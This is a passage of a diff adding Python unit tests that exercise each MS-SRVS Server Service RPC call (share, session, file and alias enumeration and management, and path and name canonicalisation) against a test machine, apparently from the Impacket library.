+        request['InfoStruct']['Level'] = 2
+        request['InfoStruct']['FileInfo']['tag'] = 2
+        request['PreferedMaximumLength'] = 8192
+        resp = dce.request(request)
+        resp.dump()
+        request['InfoStruct']['Level'] = 3
+        request['InfoStruct']['FileInfo']['tag'] = 3
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrFileEnum(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2)
+        resp.dump()
+
+        resp = srvs.hNetrFileEnum(dce, NULL, NULL, 3)
+        resp.dump()
+
+    def test_NetrFileGetInfo(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrFileEnum()
+        request['ServerName'] = '\\\\%s\x00' % self.machine
+        request['BasePath'] = NULL
+        request['UserName'] = NULL
+        request['InfoStruct']['Level'] = 2
+        request['InfoStruct']['FileInfo']['tag'] = 2
+        request['PreferedMaximumLength'] = 8192
+        resp = dce.request(request)
+        resp.dump()
+
+        request = srvs.NetrFileGetInfo()
+        request['ServerName'] = '\\\\%s\x00' % self.machine
+        request['FileId'] = resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id']
+        request['Level'] = 2
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 3
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrFileGetInfo(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2)
+        resp.dump()
+
+        resp0 = srvs.hNetrFileGetInfo(dce, resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id'], 2)
+        resp0.dump()
+
+        resp = srvs.hNetrFileGetInfo(dce, resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id'], 3)
+        resp.dump()
+
+    def test_NetrFileClose(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrFileEnum()
+        request['ServerName'] = '\\\\%s\x00' % self.machine
+        request['BasePath'] = NULL
+        request['UserName'] = NULL
+        request['InfoStruct']['Level'] = 2
+        request['InfoStruct']['FileInfo']['tag'] = 2
+        request['PreferedMaximumLength'] = 8192
+        resp = dce.request(request)
+        resp.dump()
+
+        request = srvs.NetrFileClose()
+        request['ServerName'] = '\\\\%s\x00' % self.machine
+        request['FileId'] = resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id']
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            # I might be closing myself ;)
+            if str(e).find('STATUS_PIPE_BROKEN') < 0 and str(e).find('STATUS_FILE_CLOSED') < 0 and str(e).find('STATUS_INVALID_HANDLE') < 0 and str(e).find('0x90a') < 0:
+                raise
+
+    def test_hNetrFileClose(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2)
+        resp.dump()
+
+        try:
+            resp = srvs.hNetrFileClose(dce, resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id'])
+            resp.dump()
+        except Exception as e:
+            # I might be closing myself ;)
+            if str(e).find('STATUS_PIPE_BROKEN') < 0 and str(e).find('STATUS_FILE_CLOSED') < 0 and str(e).find('STATUS_INVALID_HANDLE') < 0 and str(e).find('0x90a') < 0:
+                raise
+
+    def test_NetrSessionEnum(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrSessionEnum()
+        request['ServerName'] = NULL
+        request['ClientName'] = NULL
+        request['UserName'] = NULL
+        request['InfoStruct']['Level'] = 0
+        request['InfoStruct']['SessionInfo']['tag'] = 0
+        request['InfoStruct']['SessionInfo']['Level0']['Buffer'] = NULL
+        request['PreferedMaximumLength'] = 0xffffffff
+        request['ResumeHandle'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['Level'] = 1
+        request['InfoStruct']['SessionInfo']['tag'] = 1
+        request['InfoStruct']['SessionInfo']['Level1']['Buffer'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['Level'] = 2
+        request['InfoStruct']['SessionInfo']['tag'] = 2
+        request['InfoStruct']['SessionInfo']['Level2']['Buffer'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['Level'] = 10
+        request['InfoStruct']['SessionInfo']['tag'] = 10
+        request['InfoStruct']['SessionInfo']['Level10']['Buffer'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['Level'] = 502
+        request['InfoStruct']['SessionInfo']['tag'] = 502
+        request['InfoStruct']['SessionInfo']['Level502']['Buffer'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrSessionEnum(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0)
+        resp.dump()
+
+        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 1)
+        resp.dump()
+
+        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 2)
+        resp.dump()
+
+        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
+        resp.dump()
+
+        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)
+        resp.dump()
+
+    def test_NetrSessionDel(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrSessionEnum()
+        request['ServerName'] = NULL
+        request['ClientName'] = NULL
+        request['UserName'] = NULL
+        request['InfoStruct']['Level'] = 502
+        request['InfoStruct']['SessionInfo']['tag'] = 502
+        request['InfoStruct']['SessionInfo']['Level502']['Buffer'] = NULL
+        request['PreferedMaximumLength'] = 0xffffffff
+        request['ResumeHandle'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request = srvs.NetrSessionDel()
+        request['ServerName'] = NULL
+        request['ClientName'] = resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_cname']
+        request['UserName'] = resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_username']
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            if e.get_error_code() != 0x908:
+                raise
+
+    def test_hNetrSessionDel(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)
+        resp.dump()
+
+        try:
+            resp = srvs.hNetrSessionDel(dce, resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_cname'], resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_username'] )
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            if e.get_error_code() != 0x908:
+                raise
+
+    def test_NetrShareAdd_NetrShareDel(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrShareAdd()
+        request['ServerName'] = NULL
+        request['Level'] = 2
+        request['InfoStruct']['tag'] = 2
+        request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_type'] = srvs.STYPE_TEMPORARY
+        request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF
+        request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request = srvs.NetrShareDel()
+        request['ServerName'] = NULL
+        request['NetName'] = 'BETUSHARE\x00'
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrShareAdd_hNetrShareDel(self):
+        dce, rpc_transport = self.connect()
+        shareInfo = srvs.SHARE_INFO_2()
+        shareInfo['shi2_netname'] = 'BETUSHARE\x00'
+        shareInfo['shi2_type'] = srvs.STYPE_TEMPORARY
+        shareInfo['shi2_remark'] = 'My Remark\x00'
+        shareInfo['shi2_max_uses'] = 0xFFFFFFFF
+        shareInfo['shi2_path'] = 'c:\\\x00'
+        shareInfo['shi2_passwd'] = NULL
+        resp = srvs.hNetrShareAdd(dce, 2, shareInfo)
+        resp.dump()
+
+        resp = srvs.hNetrShareDel(dce, 'BETUSHARE\x00')
+        resp.dump()
+
+    def test_NetrShareEnum(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrShareEnum()
+        request['ServerName'] = NULL
+        request['PreferedMaximumLength'] = 0xffffffff
+        request['ResumeHandle'] = NULL
+        request['InfoStruct']['ShareInfo']['tag'] = 0
+        request['InfoStruct']['ShareInfo']['Level0']['Buffer'] = NULL
+        request['InfoStruct']['Level'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['ShareInfo']['tag'] = 1
+        request['InfoStruct']['ShareInfo']['Level1']['Buffer'] = NULL
+        request['InfoStruct']['Level'] = 1
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['ShareInfo']['tag'] = 2
+        request['InfoStruct']['ShareInfo']['Level2']['Buffer'] = NULL
+        request['InfoStruct']['Level'] = 2
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['ShareInfo']['tag'] = 501
+        request['InfoStruct']['ShareInfo']['Level501']['Buffer'] = NULL
+        request['InfoStruct']['Level'] = 501
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['ShareInfo']['tag'] = 502
+        request['InfoStruct']['ShareInfo']['Level502']['Buffer'] = NULL
+        request['InfoStruct']['Level'] = 502
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['ShareInfo']['tag'] = 503
+        request['InfoStruct']['ShareInfo']['Level503']['Buffer'] = NULL
+        request['InfoStruct']['Level'] = 503
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrShareEnum(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrShareEnum(dce, 0)
+        resp.dump()
+
+        resp = srvs.hNetrShareEnum(dce, 1)
+        resp.dump()
+
+        resp = srvs.hNetrShareEnum(dce, 2)
+        resp.dump()
+
+        resp = srvs.hNetrShareEnum(dce, 501)
+        resp.dump()
+
+        resp = srvs.hNetrShareEnum(dce, 502)
+        resp.dump()
+
+        resp = srvs.hNetrShareEnum(dce, 503)
+        resp.dump()
+
+    def tes_NetrShareEnumSticky(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrShareEnumSticky()
+        request['ServerName'] = NULL
+        request['PreferedMaximumLength'] = 0xffffffff
+        request['ResumeHandle'] = NULL
+        request['InfoStruct']['ShareInfo']['tag'] = 502
+        request['InfoStruct']['ShareInfo']['Level502']['Buffer'] = NULL
+        request['InfoStruct']['Level'] = 502
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['ShareInfo']['tag'] = 503
+        request['InfoStruct']['ShareInfo']['Level503']['Buffer'] = NULL
+        request['InfoStruct']['Level'] = 503
+        resp = dce.request(request)
+        resp.dump()
+
+    def tes_hNetrShareEnumSticky(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrShareEnumSticky(dce, 502)
+        resp.dump()
+
+        resp = srvs.hNetrShareEnumSticky(dce, 503)
+        resp.dump()
+
+    def test_NetrShareGetInfo(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrShareGetInfo()
+        request['ServerName'] = NULL
+        request['NetName'] = 'IPC$\x00'
+        request['Level'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 1
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 2
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 501
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 502
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 503
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 1005
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrShareGetInfo(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 0)
+        resp.dump()
+
+        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 1)
+        resp.dump()
+
+        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 2)
+        resp.dump()
+
+        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 501)
+        resp.dump()
+
+        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 502)
+        resp.dump()
+
+        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 503)
+        resp.dump()
+
+        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 1005)
+        resp.dump()
+
+    def test_NetrShareSetInfo(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrShareGetInfo()
+        request['ServerName'] = NULL
+        request['NetName'] = 'IPC$\x00'
+        request['Level'] = 1
+        resp = dce.request(request)
+        resp.dump()
+        oldValue = resp['InfoStruct']['ShareInfo1']['shi1_remark']
+
+        req = srvs.NetrShareSetInfo()
+        req['ServerName'] = NULL
+        req['NetName'] = 'IPC$\x00'
+        req['Level'] = 1
+        req['ShareInfo']['tag'] = 1
+        req['ShareInfo']['ShareInfo1'] = resp['InfoStruct']['ShareInfo1']
+        req['ShareInfo']['ShareInfo1']['shi1_remark'] = 'BETUS\x00'
+        resp = dce.request(req)
+        resp.dump()
+
+        resp = dce.request(request)
+        resp.dump()
+
+        req['ShareInfo']['ShareInfo1']['shi1_remark'] = oldValue
+        resp = dce.request(req)
+        resp.dump()
+
+    def test_hNetrShareSetInfo(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 1)
+        resp.dump()
+        oldValue = resp['InfoStruct']['ShareInfo1']['shi1_remark']
+
+        shareInfo = resp['InfoStruct']['ShareInfo1']
+        shareInfo['shi1_remark'] = 'BETUS\x00'
+        resp = srvs.hNetrShareSetInfo(dce, 'IPC$\x00', 1, shareInfo)
+        resp.dump()
+
+        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 1)
+        resp.dump()
+
+        shareInfo['shi1_remark'] = oldValue
+        resp = srvs.hNetrShareSetInfo(dce, 'IPC$\x00', 1, shareInfo)
+        resp.dump()
+
+    def tes_hNetrShareDelSticky(self):
+        dce, rpc_transport = self.connect()
+
+        shareInfo = srvs.SHARE_INFO_2()
+        shareInfo['shi2_netname'] = 'BETUSHARE\x00'
+        shareInfo['shi2_type'] = 0
+        shareInfo['shi2_remark'] = 'My Remark\x00'
+        shareInfo['shi2_max_uses'] = 0xFFFFFFFF
+        shareInfo['shi2_path'] = 'c:\\\x00'
+        shareInfo['shi2_passwd'] = NULL
+        resp = srvs.hNetrShareAdd(dce, 2, shareInfo)
+        resp.dump()
+
+        resp = srvs.hNetrShareDelSticky(dce, 'BETUSHARE\x00')
+        resp.dump()
+
+        resp = srvs.hNetrShareDel(dce, 'BETUSHARE\x00')
+        resp.dump()
+
+    def tes_NetrShareDelSticky(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrShareAdd()
+        request['ServerName'] = NULL
+        request['Level'] = 2
+        request['InfoStruct']['tag'] = 2
+        request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_type'] = 0
+        request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF
+        request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request = srvs.NetrShareDelSticky()
+        request['ServerName'] = NULL
+        request['NetName'] = 'BETUSHARE\x00'
+        resp = dce.request(request)
+        resp.dump()
+
+        request = srvs.NetrShareDel()
+        request['ServerName'] = NULL
+        request['NetName'] = 'BETUSHARE\x00'
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_NetrShareDelStart_NetrShareDelCommit(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrShareAdd()
+        request['ServerName'] = NULL
+        request['Level'] = 2
+        request['InfoStruct']['tag'] = 2
+        request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_type'] = 0
+        request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF
+        request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request = srvs.NetrShareDelStart()
+        request['ServerName'] = NULL
+        request['NetName'] = 'BETUSHARE\x00'
+        resp = dce.request(request)
+        resp.dump()
+
+        request = srvs.NetrShareDelCommit()
+        request['ContextHandle'] = resp['ContextHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrShareDelStart_hNetrShareDelCommit(self):
+        dce, rpc_transport = self.connect()
+
+        shareInfo = srvs.SHARE_INFO_2()
+        shareInfo['shi2_netname'] = 'BETUSHARE\x00'
+        shareInfo['shi2_type'] = 0
+        shareInfo['shi2_remark'] = 'My Remark\x00'
+        shareInfo['shi2_max_uses'] = 0xFFFFFFFF
+        shareInfo['shi2_path'] = 'c:\\\x00'
+        shareInfo['shi2_passwd'] = NULL
+        resp = srvs.hNetrShareAdd(dce, 2, shareInfo)
+        resp.dump()
+
+        resp = srvs.hNetrShareDelStart(dce, 'BETUSHARE\x00')
+        resp.dump()
+
+        resp = srvs.hNetrShareDelCommit(dce, resp['ContextHandle'])
+        resp.dump()
+
+    def test_NetrShareCheck(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrShareCheck()
+        request['ServerName'] = NULL
+        request['Device'] = 'C:\\\x00'
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrShareCheck(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrShareCheck(dce, 'C:\\\x00')
+        resp.dump()
+
+    def test_NetrServerGetInfo(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrServerGetInfo()
+        request['ServerName'] = NULL
+        request['Level'] = 100
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 101
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 102
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 103
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 502
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 503
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrServerGetInfo(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrServerGetInfo(dce, 100)
+        resp.dump()
+
+        resp = srvs.hNetrServerGetInfo(dce, 101)
+        resp.dump()
+
+        resp = srvs.hNetrServerGetInfo(dce, 102)
+        resp.dump()
+
+        resp = srvs.hNetrServerGetInfo(dce, 103)
+        resp.dump()
+
+        resp = srvs.hNetrServerGetInfo(dce, 502)
+        resp.dump()
+
+        resp = srvs.hNetrServerGetInfo(dce, 503)
+        resp.dump()
+
+    def test_NetrServerDiskEnum(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrServerDiskEnum()
+        request['ServerName'] = NULL
+        request['ResumeHandle'] = NULL
+        request['Level'] = 0
+        request['DiskInfoStruct']['Buffer'] = NULL
+        request['PreferedMaximumLength'] = 0xffffffff
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrServerDiskEnum(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrServerDiskEnum(dce, 0)
+        resp.dump()
+
+    def test_NetrServerStatisticsGet(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrServerStatisticsGet()
+        request['ServerName'] = NULL
+        request['Service'] = NULL
+        request['Level'] = 0
+        request['Options'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrServerStatisticsGet(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrServerStatisticsGet(dce, NULL, 0, 0)
+        resp.dump()
+
+    def test_NetrRemoteTOD(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrRemoteTOD()
+        request['ServerName'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrRemoteTOD(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrRemoteTOD(dce)
+        resp.dump()
+
+    def test_NetrServerTransportEnum(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrServerTransportEnum()
+        request['ServerName'] = NULL
+        request['PreferedMaximumLength'] = 0xffffffff
+        request['ResumeHandle'] = NULL
+        request['InfoStruct']['Level'] = 0
+        request['InfoStruct']['XportInfo']['tag'] = 0
+        request['InfoStruct']['XportInfo']['Level0']['Buffer'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['Level'] = 1
+        request['InfoStruct']['XportInfo']['tag'] = 1
+        request['InfoStruct']['XportInfo']['Level1']['Buffer'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['Level'] = 2
+        request['InfoStruct']['XportInfo']['tag'] = 2
+        request['InfoStruct']['XportInfo']['Level2']['Buffer'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrServerTransportEnum(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrServerTransportEnum(dce, 0)
+        resp.dump()
+
+        resp = srvs.hNetrServerTransportEnum(dce, 1)
+        resp.dump()
+
+        resp = srvs.hNetrServerTransportEnum(dce, 2)
+        resp.dump()
+
+    def test_NetrpGetFileSecurity_NetrpSetFileSecurity(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrpGetFileSecurity()
+        request['ServerName'] = NULL
+        request['ShareName'] = 'C$\x00'
+        request['lpFileName'] = '\\Windows\x00'
+        request['RequestedInformation'] = OWNER_SECURITY_INFORMATION
+        resp = dce.request(request)
+        resp.dump()
+
+        req = srvs.NetrpSetFileSecurity()
+        req['ServerName'] = NULL
+        req['ShareName'] = 'C$\x00'
+        req['lpFileName'] = '\\Windows\x00'
+        req['SecurityInformation'] = OWNER_SECURITY_INFORMATION
+        req['SecurityDescriptor'] = resp['SecurityDescriptor']
+        resp = dce.request(req)
+        resp.dump()
+
+    def test_hNetrpGetFileSecurity_hNetrpSetFileSecurity(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrpGetFileSecurity(dce, 'C$\x00',  '\\Windows\x00', OWNER_SECURITY_INFORMATION)
+
+        resp = srvs.hNetrpSetFileSecurity(dce,'C$\x00',  '\\Windows\x00', OWNER_SECURITY_INFORMATION, resp)
+        resp.dump()
+
+    def test_NetprPathType(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetprPathType()
+        request['ServerName'] = NULL
+        request['PathName'] = '\\pagefile.sys\x00'
+        request['Flags'] = 1
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetprPathType(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetprPathType(dce, '\\pagefile.sys\x00', 1)
+        resp.dump()
+
+    def test_NetprPathCanonicalize(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetprPathCanonicalize()
+        request['ServerName'] = NULL
+        request['PathName'] = '\\pagefile.sys\x00'
+        request['OutbufLen'] = 50
+        request['Prefix'] = 'c:\x00'
+        request['PathType'] = 0
+        request['Flags'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetprPathCanonicalize(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetprPathCanonicalize(dce, '\\pagefile.sys\x00', 'c:\x00', 50, 0, 0)
+        resp.dump()
+
+    def test_NetprPathCompare(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetprPathCompare()
+        request['ServerName'] = NULL
+        request['PathName1'] = 'c:\\pagefile.sys\x00'
+        request['PathName2'] = 'c:\\pagefile.sys\x00'
+        request['PathType'] = 0
+        request['Flags'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetprPathCompare(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetprPathCompare(dce, 'c:\\pagefile.sys\x00', 'c:\\pagefile.sys\x00')
+        resp.dump()
+
+    def test_NetprNameValidate(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetprNameValidate()
+        request['ServerName'] = NULL
+        request['Name'] = 'Administrator\x00'
+        request['NameType'] = srvs.NAMETYPE_USER
+        request['Flags'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetprNameValidate(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetprNameValidate(dce, 'Administrator\x00', srvs.NAMETYPE_USER)
+        resp.dump()
+
+    def test_NetprNameCanonicalize(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetprNameCanonicalize()
+        request['ServerName'] = NULL
+        request['Name'] = 'Administrator\x00'
+        request['OutbufLen'] = 50
+        request['NameType'] = srvs.NAMETYPE_USER
+        request['Flags'] = 0x80000000
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetprNameCanonicalize(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetprNameCanonicalize(dce, 'Administrator\x00', 50, srvs.NAMETYPE_USER, 0x80000000)
+        resp.dump()
+
+    def test_NetprNameCompare(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetprNameCompare()
+        request['ServerName'] = NULL
+        request['Name1'] = 'Administrator\x00'
+        request['Name2'] = 'Administrator\x00'
+        request['NameType'] = srvs.NAMETYPE_USER
+        request['Flags'] = 0x80000000
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetprNameCompare(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetprNameCompare(dce, 'Administrator\x00', 'Administrator\x00', srvs.NAMETYPE_USER, 0x80000000)
+        resp.dump()
+
+    def test_NetrDfsGetVersion(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrDfsGetVersion()
+        request['ServerName'] = NULL
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            if e.get_error_code() != 0x2:
+                raise
+
+    def test_hNetrDfsGetVersion(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = srvs.hNetrDfsGetVersion(dce)
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            if e.get_error_code() != 0x2:
+                raise
+
+    def test_NetrDfsModifyPrefix(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrDfsModifyPrefix()
+        request['ServerName'] = NULL
+        request['Prefix'] = 'c:\\\x00'
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            if e.get_error_code() != 0x32:
+                raise
+
+    def test_NetrDfsFixLocalVolume(self):
+        # This one I cannot make it work. It's only supported on w2k and xp
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrDfsFixLocalVolume()
+        request['ServerName'] = NULL
+        request['VolumeName'] = r'\??\C:\DfsShare'
+        request['EntryType'] = srvs.PKT_ENTRY_TYPE_LEAFONLY
+        request['ServiceType'] = srvs.DFS_SERVICE_TYPE_LOCAL
+        request['StgId'] = 'NONE\x00'
+        request['EntryPrefix'] = 'c:\\\x00'
+        request['RelationInfo']['Buffer']  = NULL
+        request['CreateDisposition'] = srvs.FILE_SUPERSEDE
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except srvs.DCERPCException as e:
+            if str(e) != 'rpc_x_bad_stub_data':
+                raise
+
+    def test_NetrDfsManagerReportSiteInfo(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrDfsManagerReportSiteInfo()
+        request['ServerName'] = NULL
+        request['ppSiteInfo'] = NULL
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0:
+                raise
+
+    def test_NetrServerAliasAdd_NetrServerAliasDel(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrServerAliasAdd()
+        request['ServerName'] = NULL
+        request['Level'] = 0
+        request['InfoStruct']['tag'] = 0
+        request['InfoStruct']['ServerAliasInfo0']['srvai0_alias'] = 'BETOALIAS\x00'
+        request['InfoStruct']['ServerAliasInfo0']['srvai0_target'] = '%s\x00' % self.machine
+        request['InfoStruct']['ServerAliasInfo0']['srvai0_default'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+        request = srvs.NetrServerAliasDel()
+        request['ServerName'] = NULL
+        request['Level'] = 0
+        request['InfoStruct']['tag'] = 0
+        request['InfoStruct']['ServerAliasInfo0']['srvai0_alias'] = 'BETOALIAS\x00'
+        request['InfoStruct']['ServerAliasInfo0']['srvai0_target'] = '%s\x00' % self.machine
+        request['InfoStruct']['ServerAliasInfo0']['srvai0_default'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrServerAliasAdd_hNetrServerAliasDel(self):
+        dce, rpc_transport = self.connect()
+        aliasInfo = srvs.SERVER_ALIAS_INFO_0()
+        aliasInfo['srvai0_alias'] = 'BETOALIAS\x00'
+        aliasInfo['srvai0_target'] = '%s\x00' % self.machine
+        aliasInfo['srvai0_default'] = 0
+        resp = srvs.hNetrServerAliasAdd(dce, 0, aliasInfo)
+        resp.dump()
+
+        resp = srvs.hNetrServerAliasDel(dce, 0, aliasInfo)
+        resp.dump()
+
+    def test_NetrServerAliasEnum(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrServerAliasEnum()
+        request['ServerName'] = NULL
+        request['InfoStruct']['Level'] = 0
+        request['InfoStruct']['ServerAliasInfo']['tag'] = 0
+        request['InfoStruct']['ServerAliasInfo']['Level0']['Buffer'] = NULL
+        request['PreferedMaximumLength'] = 0xffffffff
+        request['ResumeHandle'] = NULL
+        try:
